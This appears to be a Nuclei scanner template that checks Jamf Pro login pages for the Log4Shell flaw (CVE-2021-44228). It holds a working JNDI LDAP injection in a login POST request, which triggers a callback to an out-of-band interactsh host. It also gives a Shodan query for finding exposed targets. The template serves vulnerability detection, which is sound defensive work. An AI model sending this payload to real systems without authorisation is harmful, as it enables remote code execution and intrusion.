jamf-log4j-rce: JamF (Log4j) - Remote Code Execution

id: jamf-log4j-rce

info:
  name: JamF (Log4j) - Remote Code Execution
  author: pdteam
  severity: critical
  description: |
    JamF is susceptible to remote code execution via the Apache log4j library. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
  reference:
    - https://github.com/random-robbie/jamf-log4j
    - https://community.connection.com/what-is-jamf/
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:jamf:self_service:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"JamF"
    product: self_service
    vendor: jamf
  tags: cve,cve2021,rce,jndi,log4j,jamf,oast,kev,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

        username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/test}&password=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<title>Jamf Pro Login</title>'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a00473045022100b51527434d71d4271d6dae3c47f840ba9cb11a63e4f239cae5ae852047e9e57a02205a82c49dd11af643bde557a918ad460f6229507bb3ce3ebfdf69654e1154d272:922c64590222798bb761d5b6d8e72950